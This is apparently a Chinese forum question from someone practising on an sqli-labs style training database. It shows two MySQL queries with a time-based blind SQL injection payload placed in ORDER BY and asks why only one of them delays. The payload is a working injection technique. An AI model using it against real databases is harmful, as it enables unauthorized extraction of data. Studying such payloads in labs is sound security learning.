如下所示,为什么第一个可以达到延时的作用,但是第二个却不行,不太理解
mysql> SELECT * FROM users ORDER BY '1'and if(length(database())=8,sleep(0.1),0);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 10 | admin2 | admin2 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 5 | stupid | stupidity |
| 8 | admin | admin |
| 11 | admin3 | admin3 |
| 3 | Dummy | p@ssword |
| 6 | superman | genious |
| 9 | admin1 | admin1 |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 4 | secure | crappy |
| 7 | batman | mob!le |
+----+----------+------------+
13 rows in set (1.42 sec)
mysql> SELECT * FROM users ORDER BY 'id'and if(length(database())=8,sleep(0.1),0);
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 10 | admin2 | admin2 |
| 14 | admin4 | admin4 |
| 2 | Angelina | I-kill-you |
| 5 | stupid | stupidity |
| 8 | admin | admin |
| 11 | admin3 | admin3 |
| 3 | Dummy | p@ssword |
| 6 | superman | genious |
| 9 | admin1 | admin1 |
| 12 | dhakkan | dumbo |
| 1 | Dumb | Dumb |
| 4 | secure | crappy |
| 7 | batman | mob!le |
+----+----------+------------+
13 rows in set, 13 warnings (0.00 sec)